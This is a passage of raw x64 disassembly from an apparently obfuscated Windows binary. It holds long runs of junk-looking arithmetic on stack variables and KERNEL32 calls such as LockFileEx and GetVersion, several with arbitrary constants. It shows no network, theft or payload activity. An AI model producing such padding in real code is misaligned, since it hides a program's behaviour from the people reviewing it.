mov ecx, dword [rsp + 0x9f78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [0x14036a088]
mov rcx, qword [rsp + 0x15560]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146a8]
mov eax, dword [rax]
mov dword [rsp + 0xa3e0], eax
mov rax, qword [rsp + 0x12f08]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa0cc], eax
movzx eax, word [rsp + 0x1384]
mov word [rsp + 0x2e0c], ax
movzx eax, byte [rsp + 0x52f]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79a], al
mov rax, qword [rsp + 0x144f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c64], eax
mov rax, qword [rsp + 0x12ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74f4], eax
movsx eax, byte [rsp + 0x760]
movsx ecx, byte [rsp + 0x73c]
and eax, ecx
mov byte [0x140363fea], al
mov rcx, qword [rsp + 0x150b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x2220]
mov rcx, qword [rsp + 0x147b8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x159b0]
mov word [rcx], ax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0x15f80], rax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14768]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13668]
mov byte [rcx], al
mov rax, qword [rsp + 0x15998]
mov eax, dword [rax]
mov rcx, qword [0x140369dd8]
mov qword [rsp + 0x15f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15f88]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea rax, [rsp + 0xa344]
mov qword [rsp + 0x15f90], rax
mov eax, dword [rsp + 0x9124]
mov rcx, qword [rsp + 0x15e48]
mov qword [rsp + 0x15f98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15f98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9d44], eax
lea rax, [rsp + 0x9ea0]
mov qword [rsp + 0x15fa0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e64], eax
mov rax, qword [rsp + 0x14fe0]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9f44], eax
lea rax, [rsp + 0x2d30]
mov qword [rsp + 0x15fa8], rax
lea rax, [rsp + 0x112]
mov qword [0x14036a360], rax
mov rax, qword [rsp + 0x15688]
mov rcx, qword [rsp + 0x13490]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x9e10]
mov ecx, dword [rsp + 0x9730]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e58], eax
lea rax, [rsp + 0x5c30]
mov qword [rsp + 0x15fb0], rax
mov rax, qword [rsp + 0x14818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa070], eax
movzx eax, byte [rsp + 0x5cb]
mov byte [rsp + 0x7c2], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2295
mov r8d, 0xe7f
mov edx, 0xa
mov rcx, qword [rsp + 0x14fc8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa3e4], eax
mov rax, qword [rsp + 0x13610]
movzx eax, word [rax]
mov rcx, qword [0x140369ba0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15848]
mov word [rcx], ax
mov rax, qword [rsp + 0x14a88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14508]
mov word [rcx], ax
lea rax, [rsp + 0x491]
mov qword [rsp + 0x15fb8], rax
mov rax, qword [rsp + 0x152a0]
mov rcx, qword [rsp + 0x137e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14036254c], eax
mov rax, qword [rsp + 0x145c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x636c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x741]
add eax, ecx
mov byte [rsp + 0x2f8], al
mov rax, qword [0x140369bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ca4]
sub eax, ecx
mov rcx, qword [rsp + 0x15720]
mov word [rcx], ax
mov rax, qword [rsp + 0x14148]
mov rcx, qword [rsp + 0x13ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bb4], eax
mov eax, dword [rsp + 0x8a60]
mov dword [rsp + 0xa3e8], eax
mov rax, qword [rsp + 0x13750]
mov rcx, qword [rsp + 0x15d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f24], eax
mov rax, qword [rsp + 0x15b40]
mov eax, dword [rax]
mov dword [rsp + 0xa3ec], eax
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
mov rcx, qword [0x140369f48]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1878], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x151c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140369ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x143e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9d90]
shl eax, cl
mov rcx, qword [rsp + 0x15a00]
mov dword [rcx], eax
lea rax, [0x140369fc8]
mov qword [rsp + 0x15fc0], rax
mov eax, dword [rsp + 0x9618]
mov ecx, dword [rsp + 0x9db8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9640], eax
lea rax, [rsp + 0x9e44]
mov qword [rsp + 0x15fc8], rax
mov rax, qword [rsp + 0x13628]
mov rcx, qword [0x14036a288]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ae4], eax
movsx eax, word [rsp + 0x27a4]
movsx ecx, word [rsp + 0x2dac]
sub eax, ecx
mov word [rsp + 0x2ab0], ax
mov rax, qword [rsp + 0x15038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13900]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [0x14036a1c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15670]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2df4], ax
movzx eax, byte [rsp + 0x747]
movzx ecx, byte [rsp + 0x204]
and eax, ecx
mov rcx, qword [0x140369c38]
mov byte [rcx], al
lea rax, [0x140369e60]
mov qword [rsp + 0x15fd0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3453
mov r9d, 0x153d
mov r8d, 0x61a254b4
mov edx, 2
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9de8], eax
mov rax, qword [rsp + 0x14450]
mov rcx, qword [rsp + 0x15400]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d98], eax
mov rax, qword [rsp + 0x15cf8]
movzx eax, word [rax]
mov word [rsp + 0x2e10], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15fd8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x15c08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a04], eax
movzx eax, byte [rsp + 0x795]
mov rcx, qword [0x140369d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x798], al
mov eax, dword [rsp + 0x9bec]
mov ecx, dword [rsp + 0x9a24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a5c], eax
mov rax, qword [rsp + 0x14ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f34], eax
mov rax, qword [0x140369ec8]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e6c], eax
lea rax, [rsp + 0x9a88]
mov qword [rsp + 0x15fe0], rax
lea rax, [rsp + 0x2c0c]
mov qword [0x14036a368], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa3f0], eax
mov rax, qword [rsp + 0x13400]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ec0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x157b0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2fb1
mov r9d, 0x2bc7
mov r8d, 0x74bcf05b
mov edx, 2
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa054], eax
mov eax, dword [rsp + 0x6a74]
movzx ecx, al
mov eax, dword [rsp + 0x9e3c]
shr eax, cl
mov dword [rsp + 0xa2e4], eax
lea rax, [rsp + 0x9dd4]
mov qword [rsp + 0x15fe8], rax
movsx eax, word [0x1403624c8]
movsx ecx, word [rsp + 0x2cc8]
shl eax, cl
mov word [rsp + 0x2cd0], ax
mov rax, qword [rsp + 0x14418]
movzx eax, byte [rax]
mov byte [rsp + 0x7c3], al
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0x15bf0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0x14ee0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15118]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x72a], al
mov rcx, qword [rsp + 0x14640]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa374]
mov qword [rsp + 0x15ff0], rax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x15d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369b90]
mov dword [rcx], eax
mov rax, qword [0x14036a280]
mov rcx, qword [rsp + 0x149e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ef0]
mov ecx, dword [rsp + 0x98f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6590], eax
mov dword [rsp + 0x4d0b0], 0x11c
mov rax, qword [rsp + 0x13838]
mov rcx, qword [0x140369d70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x788]
mov byte [rsp + 0x7c4], al
mov rax, qword [rsp + 0x15480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c60]
imul eax, ecx
mov word [rsp + 0x1b6c], ax
mov rax, qword [rsp + 0x152c8]
mov ecx, dword [rsp + 0xa1f8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f5c]
mov dword [rsp + 0xa3f4], eax
mov rax, qword [rsp + 0x15a38]
mov rcx, qword [rsp + 0x15728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x734c], eax
mov eax, dword [rsp + 0x9968]
mov dword [0x14036a370], eax
lea rax, [rsp + 0x7a8]
mov qword [rsp + 0x15ff8], rax
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13738]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fe4], ax
movsx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0x13330]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0x156d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x150d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13fc0]
mov qword [rsp + 0x16000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16000]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15c28]
mov eax, dword [rax]
mov dword [rsp + 0xa3f8], eax
movzx eax, byte [rsp + 0x13c]
movzx ecx, byte [rsp + 0x556]
sar eax, cl
mov byte [rsp + 0x6c0], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xfca
mov r9d, 0x2c04
mov r8d, 0x1685636d
mov edx, 2
mov rcx, qword [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18f4]
xor eax, ecx
mov rcx, qword [rsp + 0x15cc8]
mov word [rcx], ax
lea rdx, [rsp + 0x43480]
mov rcx, qword [rsp + 0x15af0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9dcc], eax
lea rax, [rsp + 0x9a50]
mov qword [0x14036a378], rax
lea rax, [rsp + 0x9bf4]
mov qword [rsp + 0x16008], rax
lea rcx, [rsp + 0x4bd90]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fe0], eax
mov dword [rsp + 0x20], 0x362c
mov r9d, 0x2151
mov r8d, 0xfb6
mov edx, 0x2ad3
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa3fc], eax
mov rax, qword [rsp + 0x13f80]
mov ecx, dword [rsp + 0x7a5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7438], eax
mov eax, dword [rsp + 0x6a24]
mov ecx, dword [rsp + 0x9f0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9684], eax
mov rax, qword [rsp + 0x15e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x130d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x733], al
lea rax, [rsp + 0x2c28]
mov qword [rsp + 0x16010], rax
mov rax, qword [rsp + 0x15488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9888], eax
mov eax, dword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x9bc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
lea rax, [rsp + 0x9c9c]
mov qword [rsp + 0x16018], rax
mov rax, qword [rsp + 0x14998]
mov ecx, dword [rsp + 0xa0e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369d80]
mov dword [rcx], eax
mov edx, 0x2356
mov rcx, qword [rsp + 0x15648]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9be0], eax
mov dword [rsp + 0x20], 0x91
mov r9d, 0x32ea
mov r8d, 0x61a
mov edx, 0x1a9
mov rcx, qword [rsp + 0x15108]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9de4], eax
mov rax, qword [rsp + 0x150f8]
mov ecx, dword [rsp + 0xa240]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x56e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2f0], eax
mov rax, qword [rsp + 0x13d48]
movzx eax, byte [rax]
mov byte [rsp + 0x7c5], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [0x14036a030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ab0], ax
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15bd8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2cf4]
mov qword [rsp + 0x16020], rax
mov rax, qword [rsp + 0x130b0]
mov ecx, dword [rsp + 0x9b6c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ac4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2fb1
mov r8d, 0x2bc7
mov edx, 0xc5
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa400], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xa404], eax
mov rax, qword [rsp + 0x14e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ec0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37b], al
movzx eax, word [rsp + 0x18f4]
movzx ecx, word [rsp + 0x2cb8]
cdq
idiv ecx
mov word [0x140362550], ax
lea rdx, [rsp + 0x42958]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e28], eax
mov eax, dword [rsp + 0x57fc]
mov rcx, qword [rsp + 0x14ae8]
mov qword [rsp + 0x16028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16028]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
lea rax, [rsp + 0xa27c]
mov qword [rsp + 0x16030], rax
mov rax, qword [rsp + 0x15c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x752c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13368]
mov qword [rsp + 0x16038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16038]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x62d8], eax
movzx eax, word [rsp + 0x1f38]
mov rcx, qword [rsp + 0x15828]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2afc], ax
movzx eax, byte [rsp + 0x3d4]
movzx ecx, byte [rsp + 0x741]
or eax, ecx
mov rcx, qword [rsp + 0x150c0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x2998
mov r9d, 0x3b3d
mov r8d, 0x39f6
mov edx, 0x1eb2
mov rcx, qword [rsp + 0x140e0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa408], eax
lea rax, [0x140369b9c]
mov qword [rsp + 0x16040], rax
mov rax, qword [rsp + 0x13cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa318]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13f38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369e38]
mov word [rcx], ax
lea rax, [rsp + 0x756]
mov qword [rsp + 0x16048], rax
mov rax, qword [rsp + 0x155f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x753]
add eax, ecx
mov byte [rsp + 0x585], al
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x16050], rax
mov rax, qword [rsp + 0x12f08]
mov rcx, qword [rsp + 0x143e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147c0]
mov ecx, dword [rsp + 0x9d78]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14638]
mov dword [rcx], eax
lea rax, [rsp + 0x9ad4]
mov qword [rsp + 0x16058], rax
mov eax, dword [0x140362464]
mov ecx, dword [rsp + 0x8dd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ae0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa11c]
mov dword [rsp + 0xa40c], eax
movzx eax, byte [rsp + 0x384]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
lea rax, [0x14036a240]
mov qword [0x14036a380], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4beb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa2cc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13338]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15830]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16060], rax
lea rax, [rsp + 0xa314]
mov qword [rsp + 0x16068], rax
mov rax, qword [rsp + 0x12ff0]
mov rcx, qword [0x140369f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5a20], eax
lea rax, [rsp + 0x9f78]
mov qword [rsp + 0x16070], rax
movzx eax, word [rsp + 0x246c]
mov rcx, qword [rsp + 0x14bb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x14dc8]
movzx eax, byte [rax]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x120], al
lea rax, [rsp + 0x277c]
mov qword [rsp + 0x16078], rax
movsx eax, byte [rsp + 0x2d1]
mov rcx, qword [rsp + 0x157d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15ef8]
mov byte [rcx], al
mov rax, qword [0x14036a270]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15288]
mov qword [rsp + 0x16080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16080]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140369e58]
mov dword [rcx], eax
lea rax, [rsp + 0x8614]
mov qword [rsp + 0x16088], rax
mov rax, qword [rsp + 0x154b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77e]
imul eax, ecx
mov byte [rsp + 0x75a], al
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x16090], rax
mov rax, qword [rsp + 0x157a0]
mov rcx, qword [rsp + 0x15b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9ce4], eax
mov rax, qword [rsp + 0x14368]
mov rcx, qword [rsp + 0x138c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15ac8]
mov dword [rcx], eax
lea rax, [rsp + 0x9184]
mov qword [rsp + 0x16098], rax
mov rax, qword [rsp + 0x15388]
mov ecx, dword [rsp + 0xa028]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x432], al
mov rax, qword [rsp + 0x15cf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14988]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14036a1c0]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x380d
mov r8d, 0x317c
mov edx, 0xec
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa020], eax
mov rax, qword [rsp + 0x156b0]
mov ecx, dword [rsp + 0x6598]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14368]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d40]
mov rcx, qword [rsp + 0x15d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa058], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0xa164]
mov qword [rsp + 0x160a0], rax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x15ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x83e4], eax
mov eax, dword [rsp + 0x6878]
mov dword [rsp + 0xa410], eax
mov rax, qword [rsp + 0x13e90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14ad0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
mov rax, qword [rsp + 0x14db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15690]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov byte [rcx], al
lea rax, [0x14036a1a8]
mov qword [rsp + 0x160a8], rax
lea rax, [rsp + 0x7b1]
mov qword [0x14036a388], rax
lea rdx, [rsp + 0x430c8]
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x15398]
mov rcx, qword [rsp + 0x145b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9d48], eax
mov eax, dword [rsp + 0x7b14]
mov dword [rsp + 0xa418], eax
mov rax, qword [0x140369e28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14410]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2e08], ax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x755]
sar eax, cl
mov byte [rsp + 0x787], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rax, [rsp + 0x9c90]
mov qword [rsp + 0x160b0], rax
lea rdx, [rsp + 0x434b8]
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9938], eax
mov eax, dword [rsp + 0xa254]
movzx ecx, al
mov eax, dword [rsp + 0xa174]
shl eax, cl
mov dword [rsp + 0x9c54], eax
lea rax, [rsp + 0xa0f4]
mov qword [rsp + 0x160b8], rax
mov rax, qword [rsp + 0x14270]
mov rcx, qword [rsp + 0x14460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14c70]
mov dword [rcx], eax
movzx eax, word [0x140362520]
movzx ecx, word [rsp + 0x244c]
sub eax, ecx
mov word [0x1403624dc], ax
mov rax, qword [rsp + 0x13d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x181], al
mov rax, qword [rsp + 0x13d90]
mov eax, dword [rax]
mov ecx, dword [0x140362474]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7770], eax
mov eax, dword [rsp + 0x79a4]
mov ecx, dword [rsp + 0x9b3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15a38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x756]
mov byte [rsp + 0x7c6], al
movsx eax, word [rsp + 0x2cc8]
mov rcx, qword [rsp + 0x12fa8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c10], ax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x2e0c]
add eax, ecx
mov word [rsp + 0x1f6c], ax
mov rax, qword [rsp + 0x15b30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13420]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13950]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c50]
mov rcx, qword [rsp + 0x13b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f2c], eax
mov dword [rsp + 0x20], 0xe21
mov r9d, 0x348f
mov r8d, 0x340
mov edx, 0x337
